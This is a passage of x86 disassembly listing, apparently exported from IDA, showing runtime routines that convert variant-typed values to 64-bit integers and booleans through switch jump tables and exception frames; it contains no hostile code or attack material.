		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000F6A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000F7A8	proc near		; CODE XREF: sub_4000F860+220p

var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_4000F7FF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_18]
		call	sub_4000E700
		lea	eax, [ebp+var_18]
		call	ds:off_4001F29C
		lea	eax, [ebp+var_18]
		call	sub_4000F860
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000F806


loc_4000F7F6:				; CODE XREF: sub_4000F7A8+5Cj
		lea	eax, [ebp+var_18]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_4000F7FF:				; DATA XREF: sub_4000F7A8+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000F7F6
; ---------------------------------------------------------------------------


loc_4000F806:				; CODE XREF: sub_4000F7A8+56j
					; DATA XREF: sub_4000F7A8+49o
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000F7A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000F814	proc near		; CODE XREF: sub_4000F860+3EBp

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, edx
		mov	esi, eax
		mov	edx, esp
		movzx	eax, word ptr [esi]
		call	sub_40012D98
		mov	ebx, eax
		test	bl, bl
		jz	short loc_4000F856
		lea	eax, [esp+20h+var_1C]
		push	eax
		call	sub_4000CDD8
		push	14h
		mov	ecx, esi
		lea	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		mov	eax, [esp+20h+var_14]
		mov	[edi], eax
		mov	eax, [esp+20h+var_10]
		mov	[edi+4], eax


loc_4000F856:				; CODE XREF: sub_4000F814+18j
		mov	eax, ebx
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000F814	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000F860	proc near		; CODE XREF: sub_4000E9CC+1D2p
					; sub_4000F510+ACp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	ebp
		push	offset loc_4000FC6C
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_4000FA57	; default
					; jumptable 4000F88C cases 10,14,15
		jmp	ds:off_4000F893[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_4000F893	dd offset loc_4000F8E7	; DATA XREF: sub_4000F860+2Cr
		dd offset loc_4000F8FA	; jump table for switch	statement
		dd offset loc_4000F923
		dd offset loc_4000F936
		dd offset loc_4000F948
		dd offset loc_4000F95E
		dd offset loc_4000F974
		dd offset loc_4000F990
		dd offset loc_4000F9A6
		dd offset loc_4000FA44
		dd offset loc_4000FA57
		dd offset loc_4000F9B9
		dd offset loc_4000FA2E
		dd offset loc_4000FA44
		dd offset loc_4000FA57
		dd offset loc_4000FA57
		dd offset loc_4000F9CC
		dd offset loc_4000F9DF
		dd offset loc_4000F9F3
		dd offset loc_4000FA07
		dd offset loc_4000FA1A
; ---------------------------------------------------------------------------


loc_4000F8E7:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	[ebp+var_10], 0	; jumptable 4000F88C case 0
		mov	[ebp+var_C], 0
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F8FA:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		cmp	byte_4001AA10, 0 ; jumptable 4000F88C case 1
		jz	short loc_4000F910
		mov	dx, 14h
		mov	ax, 1
		call	sub_4000DBF4


loc_4000F910:				; CODE XREF: sub_4000F860+A1j
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F923:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 2
		movsx	eax, word ptr [eax+8]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F936:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 3
		mov	eax, [eax+8]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F948:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 4
		fld	dword ptr [eax+8]
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F95E:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 5
		fld	qword ptr [eax+8]
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F974:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 6
		fild	qword ptr [eax+8]
		fdiv	ds:flt_4000FCA0
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F990:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 7
		fld	qword ptr [eax+8]
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F9A6:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 8
		call	sub_4000F6A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F9B9:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 11
		movsx	eax, word ptr [eax+8]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F9CC:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 16
		movsx	eax, byte ptr [eax+8]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F9DF:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 17
		movzx	eax, byte ptr [eax+8]
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000F9F3:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 18
		movzx	eax, word ptr [eax+8]
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FA07:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 19
		mov	eax, [eax+8]
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FA1A:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 20
		mov	edx, [eax+8]
		mov	[ebp+var_10], edx
		mov	edx, [eax+0Ch]
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FA2E:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C case 12
		mov	eax, [eax+8]
		call	sub_4000F860
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FA44:				; CODE XREF: sub_4000F860+2Cj
					; DATA XREF: sub_4000F860:off_4000F893o
		mov	eax, [ebp+var_4] ; jumptable 4000F88C cases 9,13
		call	sub_4000F5FC
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FA57:				; CODE XREF: sub_4000F860+26j
					; sub_4000F860+2Cj
					; DATA XREF: ...
		mov	edx, [ebp+var_4] ; default
					; jumptable 4000F88C cases 10,14,15
		mov	edx, eax
		sub	dx, 100h
		jz	short loc_4000FA6A
		dec	dx
		jz	short loc_4000FA7D
		jmp	short loc_4000FA90
; ---------------------------------------------------------------------------


loc_4000FA6A:				; CODE XREF: sub_4000F860+201j
		mov	eax, [ebp+var_4]
		call	sub_4000F6A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FA7D:				; CODE XREF: sub_4000F860+206j
		mov	eax, [ebp+var_4]
		call	sub_4000F7A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FA90:				; CODE XREF: sub_4000F860+208j
		mov	edx, [ebp+var_4]
		test	ah, 40h
		jz	loc_4000FC45
		mov	edx, [ebp+var_4]
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_4000FC35	; default
					; jumptable 4000FAB0 cases 0,1,9,10,13-15
		jmp	ds:off_4000FAB7[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_4000FAB7	dd offset loc_4000FC35	; DATA XREF: sub_4000F860+250r
		dd offset loc_4000FC35	; jump table for switch	statement
		dd offset loc_4000FB0B
		dd offset loc_4000FB20
		dd offset loc_4000FB34
		dd offset loc_4000FB4C
		dd offset loc_4000FB64
		dd offset loc_4000FB82
		dd offset loc_4000FB9A
		dd offset loc_4000FC35
		dd offset loc_4000FC35
		dd offset loc_4000FBAD
		dd offset loc_4000FC22
		dd offset loc_4000FC35
		dd offset loc_4000FC35
		dd offset loc_4000FC35
		dd offset loc_4000FBC2
		dd offset loc_4000FBD7
		dd offset loc_4000FBEA
		dd offset loc_4000FBFD
		dd offset loc_4000FC0F
; ---------------------------------------------------------------------------


loc_4000FB0B:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 2
		mov	eax, [eax+8]
		movsx	eax, word ptr [eax]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FB20:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 3
		mov	eax, [eax+8]
		mov	eax, [eax]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FB34:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 4
		mov	eax, [eax+8]
		fld	dword ptr [eax]
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FB4C:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 5
		mov	eax, [eax+8]
		fld	qword ptr [eax]
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FB64:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 6
		mov	eax, [eax+8]
		fild	qword ptr [eax]
		fdiv	ds:flt_4000FCA0
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FB82:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 7
		mov	eax, [eax+8]
		fld	qword ptr [eax]
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FB9A:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 8
		call	sub_4000F6A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FBAD:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 11
		mov	eax, [eax+8]
		movsx	eax, word ptr [eax]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FBC2:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 16
		mov	eax, [eax+8]
		movsx	eax, byte ptr [eax]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FBD7:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 17
		mov	eax, [eax+8]
		movzx	eax, byte ptr [eax]
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	short loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FBEA:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 18
		mov	eax, [eax+8]
		movzx	eax, word ptr [eax]
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	short loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FBFD:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 19
		mov	eax, [eax+8]
		mov	eax, [eax]
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	short loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FC0F:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 20
		mov	eax, [eax+8]
		mov	edx, [eax]
		mov	[ebp+var_10], edx
		mov	edx, [eax+4]
		mov	[ebp+var_C], edx
		jmp	short loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FC22:				; CODE XREF: sub_4000F860+250j
					; DATA XREF: sub_4000F860:off_4000FAB7o
		mov	eax, [ebp+var_4] ; jumptable 4000FAB0 case 12
		mov	eax, [eax+8]
		call	sub_4000F860
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	short loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FC35:				; CODE XREF: sub_4000F860+24Aj
					; sub_4000F860+250j
					; DATA XREF: ...
		mov	eax, [ebp+var_4] ; default
					; jumptable 4000FAB0 cases 0,1,9,10,13-15
		call	sub_4000F5FC
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	short loc_4000FC62
; ---------------------------------------------------------------------------


loc_4000FC45:				; CODE XREF: sub_4000F860+236j
		lea	edx, [ebp+var_10]
		mov	eax, [ebp+var_4]
		call	sub_4000F814
		test	al, al
		jnz	short loc_4000FC62
		mov	eax, [ebp+var_4]
		call	sub_4000F5FC
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx


loc_4000FC62:				; CODE XREF: sub_4000F860+95j
					; sub_4000F860+BEj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4000FC93
; ---------------------------------------------------------------------------


loc_4000FC6C:				; DATA XREF: sub_4000F860+Fo
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	dx, 14h
		call	sub_4000E068
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		call	sub_40004360


loc_4000FC93:				; CODE XREF: sub_4000F860+40Aj
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000F860	endp

; ---------------------------------------------------------------------------
flt_4000FCA0	dd 1.0e4		; DATA XREF: sub_4000F860+11Ar
					; sub_4000F860+30Cr

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000FCA4	proc near		; CODE XREF: sub_4000FE58+10Bp
					; sub_4000FE58+1A3p ...

var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000FD56
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_4]
		call	sub_40011DFC
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	400h
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, off_4001AFC0
		mov	eax, [eax]
		call	eax
		mov	edx, eax
		sub	edx, 80020005h
		jz	short loc_4000FCFF
		sub	edx, 7FFDFFFBh
		jnz	short loc_4000FD2C
		cmp	[ebp+var_8], 1
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_5], al
		jmp	short loc_4000FD38
; ---------------------------------------------------------------------------


loc_4000FCFF:				; CODE XREF: sub_4000FCA4+44j
		lea	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		call	sub_40004B0C
		mov	eax, [ebp+var_C]
		lea	edx, [ebp+var_5]
		call	sub_40007F40
		test	al, al
		jnz	short loc_4000FD38
		movzx	edx, word ptr [ebx]
		mov	cx, 0Bh
		mov	eax, 80020005h
		call	sub_4000E034
		jmp	short loc_4000FD38
; ---------------------------------------------------------------------------


loc_4000FD2C:				; CODE XREF: sub_4000FCA4+4Cj
		movzx	edx, word ptr [ebx]
		mov	cx, 0Bh
		call	sub_4000E034


loc_4000FD38:				; CODE XREF: sub_4000FCA4+59j
					; sub_4000FCA4+73j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000FD5D


loc_4000FD45:				; CODE XREF: sub_4000FCA4+B7j
		lea	eax, [ebp+var_C]
		call	sub_40004884
		lea	eax, [ebp+var_4]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_4000FD56:				; DATA XREF: sub_4000FCA4+Fo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000FD45
; ---------------------------------------------------------------------------


loc_4000FD5D:				; CODE XREF: sub_4000FCA4+B1j
					; DATA XREF: sub_4000FCA4+9Co
		movzx	eax, [ebp+var_5]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000FCA4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000FD68	proc near		; CODE XREF: sub_4000FE58+184p
					; sub_4000FE58+325p ...

var_14		= byte ptr -14h
var_C		= word ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFF0h
		mov	ebx, eax
		push	esp
		call	sub_4000CDD8
		push	0Bh
		push	0
		push	400h
		push	ebx
		lea	eax, [esp+24h+var_14]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 0Bh
		call	sub_4000E034
		cmp	[esp+14h+var_C], 1
		sbb	eax, eax
		inc	eax
		add	esp, 10h
		pop	ebx
		retn
sub_4000FD68	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000FDA8	proc near		; CODE XREF: sub_4000FE58+1B2p

var_11		= byte ptr -11h
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_11]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_4000FDFC
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_11]
		call	sub_4000E700
		lea	eax, [ebp+var_11]
		call	ds:off_4001F29C
		lea	eax, [ebp+var_11]
		call	sub_4000FE58
		mov	[ebp+var_1], al
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000FE03


loc_4000FDF3:				; CODE XREF: sub_4000FDA8+59j
		lea	eax, [ebp+var_11]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_4000FDFC:				; DATA XREF: sub_4000FDA8+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000FDF3
; ---------------------------------------------------------------------------


loc_4000FE03:				; CODE XREF: sub_4000FDA8+53j
					; DATA XREF: sub_4000FDA8+46o
		movzx	eax, [ebp+var_1]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000FDA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000FE0C	proc near		; CODE XREF: sub_4000FE58+333p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= word ptr -14h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, edx
		mov	esi, eax
		mov	edx, esp
		movzx	eax, word ptr [esi]
		call	sub_40012D98
		mov	ebx, eax
		test	bl, bl
		jz	short loc_4000FE4C
		lea	eax, [esp+20h+var_1C]
		push	eax
		call	sub_4000CDD8
		push	0Bh
		mov	ecx, esi
		lea	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		cmp	[esp+20h+var_14], 1
		sbb	eax, eax
		inc	eax
		mov	[edi], al


loc_4000FE4C:				; CODE XREF: sub_4000FE0C+18j
		mov	eax, ebx
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000FE0C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000FE58	proc near		; CODE XREF: sub_4000E9CC+172p
					; sub_4000EBF8+6Cp ...

var_8		= byte ptr -8

		push	ebx
		push	ecx
		mov	ebx, eax
		movzx	eax, word ptr [ebx]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_4000FFE9	; default
					; jumptable 4000FE6B cases 10,14,15
		jmp	ds:off_4000FE72[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_4000FE72	dd offset loc_4000FEC6	; DATA XREF: sub_4000FE58+13r
		dd offset loc_4000FECF	; jump table for switch	statement
		dd offset loc_4000FEEE
		dd offset loc_4000FEFC
		dd offset loc_4000FF09
		dd offset loc_4000FF1F
		dd offset loc_4000FF35
		dd offset loc_4000FF4B
		dd offset loc_4000FF61
		dd offset loc_4000FFDA
		dd offset loc_4000FFE9
		dd offset loc_4000FF70
		dd offset loc_4000FFCA
		dd offset loc_4000FFDA
		dd offset loc_4000FFE9
		dd offset loc_4000FFE9
		dd offset loc_4000FF80
		dd offset loc_4000FF8D
		dd offset loc_4000FF9A
		dd offset loc_4000FFA8
		dd offset loc_4000FFB5
; ---------------------------------------------------------------------------


loc_4000FEC6:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		mov	[esp+8+var_8], 0 ; jumptable 4000FE6B case 0
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FECF:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	byte_4001AA10, 0 ; jumptable 4000FE6B case 1
		jz	short loc_4000FEE5
		mov	dx, 0Bh
		mov	ax, 1
		call	sub_4000DBF4


loc_4000FEE5:				; CODE XREF: sub_4000FE58+7Ej
		mov	[esp+8+var_8], 0
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FEEE:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	word ptr [ebx+8], 0 ; jumptable	4000FE6B case 2
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FEFC:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	dword ptr [ebx+8], 0 ; jumptable 4000FE6B case 3
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF09:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		fld	dword ptr [ebx+8] ; jumptable 4000FE6B case 4
		fcomp	ds:flt_400101A8
		fstsw	ax
		sahf
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF1F:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		fld	qword ptr [ebx+8] ; jumptable 4000FE6B case 5
		fcomp	ds:flt_400101A8
		fstsw	ax
		sahf
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF35:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		fild	qword ptr [ebx+8] ; jumptable 4000FE6B case 6
		fcomp	ds:flt_400101A8
		fstsw	ax
		sahf
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF4B:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		fld	qword ptr [ebx+8] ; jumptable 4000FE6B case 7
		fcomp	ds:flt_400101A8
		fstsw	ax
		sahf
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF61:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		mov	eax, ebx	; jumptable 4000FE6B case 8
		call	sub_4000FCA4
		mov	[esp+8+var_8], al
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF70:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	word ptr [ebx+8], 1 ; jumptable	4000FE6B case 11
		sbb	eax, eax
		inc	eax
		mov	[esp+8+var_8], al
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF80:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	byte ptr [ebx+8], 0 ; jumptable	4000FE6B case 16
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF8D:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	byte ptr [ebx+8], 0 ; jumptable	4000FE6B case 17
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
